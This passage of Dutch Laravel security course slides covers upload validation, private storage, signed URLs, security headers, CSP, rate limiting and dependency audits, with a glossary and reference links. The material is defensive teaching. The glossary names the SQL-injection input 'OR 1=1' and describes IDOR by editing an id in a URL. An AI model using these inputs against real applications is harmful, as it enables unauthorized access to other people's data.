> **Toelichting:** Een key die je app niet zelf hoeft te bewaren, laat je beter weg. Mollie heeft daarvoor ook OAuth (Mollie Connect): de klant geeft je app toegang, en je bewaart een token dat de klant kan intrekken. Voor een klein project met één klant is de encrypted cast prima.

<!-- slide 46 -->

## 6. Uploads en links

> **Toelichting:** Uploads en publieke links zijn de plekken waar je app bestanden en toegang deelt met mensen buiten je database. Een upload is invoer die op je server blijft staan, en een link kan doorgestuurd worden naar wie je niet kent. In agency-projecten gaat het vaak om facturen, contracten en foto's van klanten.

<!-- slide 47 -->

### Uploads

- Valideer op de inhoud van het bestand, niet alleen op de naam. Een .php hernoemd naar factuur.pdf is nog altijd PHP.
- Laat Laravel de bestandsnaam kiezen. `getClientOriginalName()` is invoer van de gebruiker, en hoort niet in een pad.
- Bewaar bestanden van klanten op de `local` disk, buiten `public/`. Een bestand in public/ krijgt een url die iedereen kan raden.
- Downloaden gaat via een route met een policy, zoals elke andere resource
- Een SVG is een XML-bestand waar een script in kan. Voor logo’s van gebruikers: png of jpg.

> **Toelichting:** Een geüpload .php-bestand in public/ kan de webserver uitvoeren, en dan draait er code van een vreemde op je server. Ook een .html-bestand is gevaarlijk: het draait op jouw domein, met dezelfde gevolgen als XSS. Met store() bepaalt Laravel de extensie uit de inhoud, en dan speelt dit niet.

<!-- slide 48 -->

### Upload valideren

```php
$request->validate([
    'file' => ['required', File::types(['pdf', 'png', 'jpg'])->max('10mb')],
]);
```

`File::types` gebruikt de `mimes`-regel: Laravel leest de inhoud van het bestand en raadt daaruit het type. `max('10mb')` houdt je disk heel.

De regel `extensions` kijkt alleen naar de naam die de gebruiker koos. Gebruik hem nooit alleen, altijd samen met mimes. Zie [Validating files](https://laravel.com/docs/13.x/validation#validating-files).

> **Toelichting:** Afbeeldingen kan je ook opnieuw opslaan met een library als Intervention Image. Dan verdwijnt alles wat niet tot de afbeelding hoort, zoals metadata met de gps-locatie van een foto. Voor grote bestanden pas je ook upload_max_filesize en post_max_size aan in de PHP-configuratie van je server.

<!-- slide 49 -->

### Upload opslaan

```php
$project->documents()->create([
    'path' => $request->file('file')->store("projects/{$project->id}"),
    'name' => $request->file('file')->getClientOriginalName(),
]);
```

`store()` kiest zelf een willekeurige naam en zet het bestand op de default disk. Dat is `local`, en die staat sinds Laravel 11 in `storage/app/private`: er is geen url naar.

De originele naam bewaar je apart, alleen om hem later te tonen. Zie [File Storage](https://laravel.com/docs/13.x/filesystem).

> **Toelichting:** store() gebruikt hashName(): een willekeurige naam van veertig tekens, met een extensie die Laravel afleidt uit de inhoud. Voor S3 of een andere cloud-disk geef je de disk mee als tweede argument van store(). Zet zo'n bucket nooit publiek voor bestanden van klanten.

<!-- slide 50 -->

### Download

```php
public function download(Document $document): StreamedResponse
{
    Gate::authorize('view', $document);

    return Storage::download($document->path, $document->name);
}
```

Een bestand op de local disk heeft geen url, dus deze methode is de enige weg naar buiten. Daarom staat de policy er vooraan. Dezelfde reflex als bij IDOR: test het met een tweede account.

> [!NOTE]
> De naam van de gebruiker mag mee in de download. In het pad op je disk komt hij nooit.

> **Toelichting:** Op een cloud-disk zoals S3 kan je in plaats van via je server te downloaden ook een tijdelijke url maken met Storage::temporaryUrl(). Die werkt zoals een signed url: na een paar minuten is hij ongeldig. Voor grote bestanden is dat handig, want het verkeer gaat dan niet door je PHP-proces.

<!-- slide 51 -->

### Signed urls

Soms moet iemand zonder account een pagina openen: een offerte voor de klant, een uitschrijflink, een download voor de boekhouder. Een signed url heeft een handtekening in de query string, gemaakt met de APP_KEY.

```php
$url = URL::temporarySignedRoute(
    'quotes.show',
    now()->plus(days: 7),
    ['quote' => $quote],
);
```

`temporarySignedRoute` zet er ook een vervaldatum in. Na zeven dagen werkt de link niet meer.

> **Toelichting:** URL::signedRoute zonder temporary maakt een link die nooit vervalt. Dat is zelden wat je wil, want een mail wordt doorgestuurd of blijft jaren in een inbox staan. Kies de vervaldatum zo kort als de gebruiker nodig heeft.

<!-- slide 52 -->

### De signed middleware

```php
Route::get('/quotes/{quote}', [QuotesController::class, 'show'])
    ->name('quotes.show')
    ->middleware('signed');
```

```bash
https://app.klant.be/quotes/88?expires=1791907200&signature=3f9a1c…
```

De middleware rekent de handtekening opnieuw uit over de hele url, `expires` inbegrepen. Verander één teken en de bezoeker krijgt een 403. Zie [Signed URLs](https://laravel.com/docs/13.x/urls#signed-urls).

> **Toelichting:** Staat je app achter een proxy, zoals op Laravel Cloud of met ngrok, dan moet trustProxies juist staan. Anders ziet Laravel http waar de url met https ondertekend werd, en faalt elke handtekening. Met signed:relative onderteken je alleen het pad, zonder domein.

<!-- slide 53 -->

### Een klant past in een signed url expires aan naar een datum in 2030. Wat gebeurt er?

- A. De link werkt tot 2030
- B. De signed middleware geeft een 403
- C. Laravel negeert de nieuwe datum en gebruikt de oude
- D. De link werkt, maar alleen voor ingelogde users

**Antwoord:** B. De signed middleware geeft een 403

De handtekening is berekend over de hele url, de vervaldatum inbegrepen. Een andere datum geeft een andere handtekening, en zonder de APP_KEY kan de klant die niet uitrekenen. Laravel leest de datum dus nooit apart: een aangepaste url is gewoon ongeldig.

> **Toelichting:** Wil je dat een link eerder ongeldig wordt, bijvoorbeeld als de offerte geannuleerd is, dan helpt de handtekening niet: die blijft geldig tot de vervaldatum. Check daarom in de controller ook de status van de offerte zelf.

<!-- slide 54 -->

## 7. Headers en limieten

> **Toelichting:** Headers en rate limits werken aan de rand van je app. Ze houden aanvallen tegen voor je eigen code aan de beurt komt, of beperken de schade als er toch iets doorglipt. Ze kosten weinig werk, en een security scan van een klant kijkt er meestal als eerste naar.

<!-- slide 55 -->

### Security headers

| Header | Waarde | Doet |
| --- | --- | --- |
| `X-Content-Type-Options` | `nosniff` | De browser raadt geen type. Een upload als tekst blijft tekst. |
| `X-Frame-Options` | `SAMEORIGIN` | Je pagina komt niet in een iframe van een andere site |
| `Referrer-Policy` | `strict-origin-when-cross-origin` | Andere sites zien je domein, niet de volledige url |
| `Strict-Transport-Security` | `max-age=31536000` | Altijd https, ook als iemand http typt |
| `Content-Security-Policy` | een lijst van bronnen | Scripts van een andere bron draaien niet |

Laravel zet deze headers niet zelf. Test je eigen project op [securityheaders.com](https://securityheaders.com) en kijk welke er ontbreken.

> **Toelichting:** X-Frame-Options is de oudere variant van frame-ancestors in een Content Security Policy. Browsers kennen allebei. Zet je een CSP met frame-ancestors, dan geldt die.

<!-- slide 56 -->

### Een after middleware

```php
public function handle(Request $request, Closure $next): Response
{
    $response = $next($request);

    $response->headers->add([
        'X-Content-Type-Options' => 'nosniff',
        'X-Frame-Options' => 'SAMEORIGIN',
        'Referrer-Policy' => 'strict-origin-when-cross-origin',
        'Strict-Transport-Security' => 'max-age=31536000',
    ]);

    return $response;
}
```

Eerst laat je de request door met `$next`, daarna pas je de response aan.

> **Toelichting:** Maak de class met php artisan make:middleware AddSecurityHeaders. Dezelfde headers kan je ook in nginx zetten. Het voordeel van een middleware: de headers staan in je repository, en verhuizen mee als de app naar een andere server gaat.

<!-- slide 57 -->

### Registreren

*bootstrap/app.php*

```php
->withMiddleware(function (Middleware $middleware): void {
    $middleware->web(append: [AddSecurityHeaders::class]);
})
```

Met `web(append:)` hangt de middleware aan elke route in `routes/web.php`. Omdat hij na `$next` werkt, heet dat een after middleware: meer in de les over de lifecycle en de [docs over middleware](https://laravel.com/docs/13.x/middleware).

> [!WARNING]
> Zet HSTS pas als https overal werkt, ook op subdomeinen. Een browser onthoudt de header een jaar lang, en weigert daarna elke http-versie van je site.

> **Toelichting:** Staat je API in routes/api.php, dan hang je de middleware daar aan met $middleware->api(append: [...]), of aan alles met $middleware->append(). Voor een API die alleen JSON teruggeeft, zijn X-Frame-Options en een CSP minder belangrijk.

<!-- slide 58 -->

### Content Security Policy

Een CSP is de tweede verdedigingslijn tegen XSS. Lukt het iemand toch een script in je pagina te krijgen, dan weigert de browser het als het niet van een toegelaten bron komt, of de juiste nonce mist.

```http
Content-Security-Policy: default-src 'self';
    script-src 'self' 'nonce-r4nd0m';
    img-src 'self' data:;
    frame-ancestors 'self'
```

Een nonce is een willekeurige waarde per request. Alleen script-tags met die waarde erop mogen draaien.

> **Toelichting:** Inline scripts en onclick-attributen zijn wat een CSP het vaakst blokkeert. Daarom werkt een CSP het best in een project dat alle JavaScript via Vite laadt. Alpine.js gebruikt standaard eval, en dat moet je dan apart toelaten, of je kiest de CSP-build van Alpine.

<!-- slide 59 -->

### Een CSP invoeren

- **Report-Only eerst**: Met `Content-Security-Policy-Report-Only` meldt de browser wat hij zou blokkeren, zonder iets stuk te maken.
- **[spatie/laravel-csp](https://github.com/spatie/laravel-csp)**: De policy als PHP-class, met een nonce per request.
- **Vite::useCspNonce()**: Zet de nonce ook op de script-tags die `@vite` maakt.

Stel: je zet een strenge CSP live zonder report-only. Dan breken je analytics, je chatwidget en elk inline script, op de dag van de lancering. Kijk eerst een week in de console welke bronnen je echt gebruikt.

> **Toelichting:** Met de directive report-uri of report-to stuurt de browser een melding naar een url van jou, telkens hij iets zou blokkeren. Zo zie je ook wat er bij echte gebruikers misloopt, niet alleen in je eigen browser. spatie/laravel-csp kan die url voor je instellen.

<!-- slide 60 -->

### Een limiet definiëren

*AppServiceProvider*

```php
public function boot(): void
{
    RateLimiter::for('contact', function (Request $request) {
        return Limit::perHour(5)->by($request->ip());
    });
}
```

Deze limiet heet `contact` en laat vijf requests per uur toe, per IP-adres. Met `by()` kies je waarop je telt: het IP voor gasten, het user-id voor wie ingelogd is.

> **Toelichting:** Een limiet alleen per IP treft ook iedereen achter hetzelfde netwerk, zoals een klas op de wifi van school. Voor ingelogde users tel je beter per user-id, zoals in de docs: Limit::perMinute(60)->by($request->user()?->id ?: $request->ip()). Je kan ook meerdere limieten tegelijk teruggeven in een array.

<!-- slide 61 -->

### Een limiet op een route

*routes/web.php*

```php
Route::post('/contact', [ContactController::class, 'store'])
    ->middleware('throttle:contact');
```

Boven de limiet geeft Laravel een 429 Too Many Requests. De starter kits zetten al een limiet op de login. Denk aan de rest: het contactformulier, een wachtwoord-reset, alles wat mails verstuurt of geld kost.

Zie [Rate limiting](https://laravel.com/docs/13.x/routing#rate-limiting).

> **Toelichting:** Laravel telt de pogingen in je cache. Draai je meerdere servers, dan moet die cache gedeeld zijn, bijvoorbeeld Redis, anders telt elke server apart. Een 429 komt met een Retry-After-header die zegt hoe lang de client moet wachten.

<!-- slide 62 -->

## 8. Dependencies

> **Toelichting:** Een Laravel-project met een starter kit heeft al snel meer dan honderd Composer-packages, en nog veel meer npm-packages. Elk daarvan kan een lek bevatten, of overgenomen worden door iemand met slechte bedoelingen. Daarom staat supply chain in 2025 nieuw op drie.

<!-- slide 63 -->

### composer audit

Je vendor-map bevat meer code dan wat je zelf schreef. `composer audit` en `npm audit` vergelijken je lock-files met de lijst van bekende lekken. Draai ze allebei in je eigen project.

```console
$ composer audit
Found 1 security vulnerability advisory affecting 1 package:
Package: league/commonmark
$ npm audit --omit=dev
found 0 vulnerabilities
```

De output hierboven is een voorbeeld. Krijg je een advisory, dan staat er meestal bij vanaf welke versie het lek gedicht is.

> **Toelichting:** composer audit haalt de lijst met gekende lekken bij Packagist. Met composer audit --locked kijk je alleen naar composer.lock, zonder vendor/ te installeren, handig in GitHub Actions. npm audit --omit=dev slaat packages over die alleen tijdens het bouwen draaien.

<!-- slide 64 -->

### Supply chain

- Sinds Composer 2.9 weigert composer update zelf een versie met een bekend lek
- Op de server draai je `composer install`: die installeert exact wat in de lock-file staat. `update` doe je lokaal, met tests erna.
- [Dependabot](https://docs.github.com/en/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates) opent zelf een pull request per update, met een `.github/dependabot.yml` voor composer en npm
- Zonder tests in GitHub Actions blijven die pull requests liggen. Zie de les over testen.
- Een package met drie sterren en één maintainer is een risico, geen gratis code

> **Toelichting:** Typosquatting is een package met bijna dezelfde naam als een bekende, in de hoop dat iemand zich vertypt bij composer require of npm install. Kijk bij een onbekend package naar het aantal downloads, de laatste release en wie het onderhoudt. Dependabot zet je aan in GitHub onder Settings, bij Code security.

<!-- slide 65 -->

### Voor je live gaat

| Check | Hoe |
| --- | --- |
| `APP_DEBUG=false`, eigen `APP_KEY` | `php artisan about` op de server |
| Elke route met een model heeft een policy | Test met een tweede account |
| Geen `{!! !!}`, `Raw(` of `$request->all()` met invoer | Zoeken in je editor |
| Uploads op de local disk, met validatie | `File::types` en een download-route |
| Headers en rate limits | [securityheaders.com](https://securityheaders.com) |
| Geen bekende lekken | `composer audit`, `npm audit` |

> **Toelichting:** php artisan about toont ook of config, routes en views gecachet zijn. Na een deploy draai je php artisan optimize: dat cachet alles tegelijk, en daarna leest Laravel .env niet meer bij elke request. Pas je nadien iets aan in .env, dan moet de cache opnieuw.

<!-- slide 66 -->

### Opdracht: Audit je eigen project

Met je Agency-project: loop de checklist van de vorige slide af en fix wat je vindt. Vast? Elke slide linkt naar de docs, en alle links staan onder het boek-icoon.

1. Maak twee accounts van verschillende klanten of teams en probeer elkaars records te openen via de url (slide 10 en 11)
2. Zoek op {!!, Raw(, DB:: en $request->all() en check elke plek (slide 24)
3. Draai composer audit en npm audit, en voeg de security headers-middleware toe (slide 55 tot 57 en 63)
4. Klaar als elke vondst gefixt is of als issue op GitHub staat, en een Pest-test bewijst dat account B de records van account A niet kan openen

> **Toelichting:** Begin bij stap 1: een IDOR is het lek met de grootste kans in een project met meerdere klanten. Open een privévenster voor het tweede account, dan hoef je niet telkens uit te loggen. Voor de Pest-test: actingAs($userB)->get(route('invoices.show', $invoice))->assertForbidden(), zie de les over testen.

## Begrippen

- **OWASP Top 10**: De lijst van de tien meest voorkomende soorten lekken in webapps, van de OWASP Foundation. De editie van 2025 zet broken access control op één en voegt supply chain en foutafhandeling toe. (slide 6)
- **Broken access control**: Een gebruiker kan iets zien of doen dat niet van hem is. Nummer één in de OWASP Top 10, en in een Laravel-project bijna altijd een vergeten policy. (slide 10)
- **IDOR**: Insecure direct object reference. Je verandert het id in de url van 1041 naar 1042 en je ziet de factuur van een andere klant, omdat de route alleen checkt of je ingelogd bent. (slide 10)
- **Mass assignment**: Een request vult velden van je model die de gebruiker nooit mocht aanraken, zoals is_admin. Het Fillable-attribuut en $request->validated() houden dat tegen. (slide 12)
- **CSRF**: Een andere site laat jouw browser een request naar jouw app sturen, met jouw sessie erbij. Laravel houdt het tegen met SameSite-cookies en PreventRequestForgery. (slide 15)
- **PreventRequestForgery**: De CSRF-middleware van Laravel 13. Kijkt eerst naar de Sec-Fetch-Site-header van de browser, en valt terug op het CSRF-token als die niet same-origin zegt. Mislukt dat ook: 419. (slide 16)
- **SQL injection**: Invoer die in een query geplakt wordt en daar de betekenis van verandert. Eén aanhalingsteken en een OR 1=1, en je query geeft elke rij terug. (slide 20)
- **Binding**: Een ? in de query en de waarde apart erbij. De database weet dan dat het data is, geen SQL. Eloquent doet het automatisch, bij whereRaw moet je het zelf doen. (slide 22)
- **XSS**: Cross-site scripting. Invoer van een gebruiker belandt als HTML op de pagina, en een script erin draait bij elke bezoeker, op jouw domein. In Blade zit het bijna altijd achter {!! !!}. (slide 26)
- **Escaping**: Tekens die iets betekenen in HTML, zoals < en ", vervangen door hun entity. {{ }} in Blade doet het met htmlspecialchars, zodat een script gewoon tekst wordt. (slide 26)
- **APP_DEBUG**: Zet de uitgebreide foutpagina aan, met stack trace, code en queries. Lokaal handig, in productie een cadeau voor wie je app wil aanvallen. Altijd false buiten je laptop. (slide 33)
- **APP_KEY**: De sleutel waarmee Laravel cookies, sessies en encrypted kolommen versleutelt en urls ondertekent. Elke omgeving heeft zijn eigen, en een gelekte key vervang je met APP_PREVIOUS_KEYS als vangnet. (slide 34)
- **Hashing**: Eenrichtingsverkeer: van een wachtwoord naar een hash, nooit terug. Je controleert door opnieuw te hashen en te vergelijken. Hash::make en Hash::check, met bcrypt. (slide 39)
- **Encryptie**: Tweerichtingsverkeer: met de sleutel krijg je de originele waarde terug. Voor data die je later nog nodig hebt, zoals de API key van een klant. Crypt of de encrypted cast. (slide 39)
- **bcrypt**: Het standaard hash-algoritme van Laravel. Bewust traag en met een salt per wachtwoord, zodat een gelekte tabel kraken jaren duurt in plaats van minuten. (slide 43)
- **Signed url**: Een url met een handtekening in de query string, gemaakt met de APP_KEY. Verander één teken en de signed middleware geeft een 403. Met temporarySignedRoute vervalt hij ook. (slide 51)
- **Security headers**: Headers die de browser vertellen wat hij niet mag doen met je pagina: niet in een iframe, geen MIME-type raden, altijd https. Laravel zet ze niet zelf, dat doe je met een middleware. (slide 55)
- **Content Security Policy**: Een header met de lijst van bronnen waar scripts, styles en afbeeldingen vandaan mogen komen. Een ingespoten script van een andere bron draait dan niet. Begin in report-only. (slide 58)
- **Rate limiting**: Een maximum aantal requests per minuut, per user of per IP. Boven de limiet geeft Laravel een 429. Tegen brute force op je login en tegen scripts die je API leegtrekken. (slide 60)
- **Supply chain**: Alle code die je niet zelf schreef: packages, hun packages, je build tools. Een lek of een gekaapt package daarin is jouw lek. OWASP zet het in 2025 op drie. (slide 64)
- **Fail closed**: Als een controle misloopt, weiger je. Een catch die bij een fout gewoon toegang geeft, is fail open, en dat is een lek dat alleen opduikt als er iets anders al stuk is. (slide 38)

## Links en bronnen

### In de presentatie

- [OWASP Top 10:2025](https://top10.owasp.org/2025/) (slide 6): De tien categorieën en hun volgorde
- [Authorization](https://laravel.com/docs/13.x/authorization) (slide 11): Policies en de can-middleware
- [Eloquent: mass assignment](https://laravel.com/docs/13.x/eloquent#mass-assignment) (slide 13): Het Fillable-attribuut en preventSilentlyDiscardingAttributes
- [CSRF Protection](https://laravel.com/docs/13.x/csrf) (slide 16): PreventRequestForgery, Sec-Fetch-Site en de fallback op het token
- [docs over raw expressions](https://laravel.com/docs/13.x/queries#raw-expressions) (slide 22)
- [Blade: displaying data](https://laravel.com/docs/13.x/blade#displaying-data) (slide 26): Escaping met {{ }} en de uitzondering {!! !!}
- [Str::markdown](https://laravel.com/docs/13.x/strings#method-str-markdown) (slide 30): De optie html_input
- [Encryption](https://laravel.com/docs/13.x/encryption) (slide 34, slide 41): Crypt, APP_KEY en APP_PREVIOUS_KEYS
- [Error handling](https://laravel.com/docs/13.x/errors) (slide 38): report() en APP_DEBUG
- [Hashing](https://laravel.com/docs/13.x/hashing) (slide 41): Hash::make, Hash::check en bcrypt
- [Validation: files](https://laravel.com/docs/13.x/validation#validating-files) (slide 48): File::types, mimes en extensions
- [File Storage](https://laravel.com/docs/13.x/filesystem) (slide 49): De local disk en Storage::download
- [Signed URLs](https://laravel.com/docs/13.x/urls#signed-urls) (slide 52): temporarySignedRoute en de signed middleware
- [securityheaders.com](https://securityheaders.com) (slide 55, slide 65)
- [Middleware](https://laravel.com/docs/13.x/middleware) (slide 57): After middleware en web(append:)
- [spatie/laravel-csp](https://github.com/spatie/laravel-csp) (slide 59): Een Content Security Policy als policy-class
- [Rate limiting](https://laravel.com/docs/13.x/routing#rate-limiting) (slide 61): RateLimiter::for en throttle
- [Configuring Dependabot](https://docs.github.com/en/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates) (slide 64): dependabot.yml voor composer en npm

### Bronnen

- [Query Builder](https://laravel.com/docs/13.x/queries): Raw expressions, bindings en waarom kolomnamen nooit uit input mogen komen
- [Composer 2.9](https://blog.packagist.com/composer-2-9/): Automatische blokkering van packages met een security advisory
- [hashcat benchmarks](https://hashcat.net/wiki/doku.php?id=example_hashes): Ordegrootte van gokken per seconde voor MD5 en bcrypt
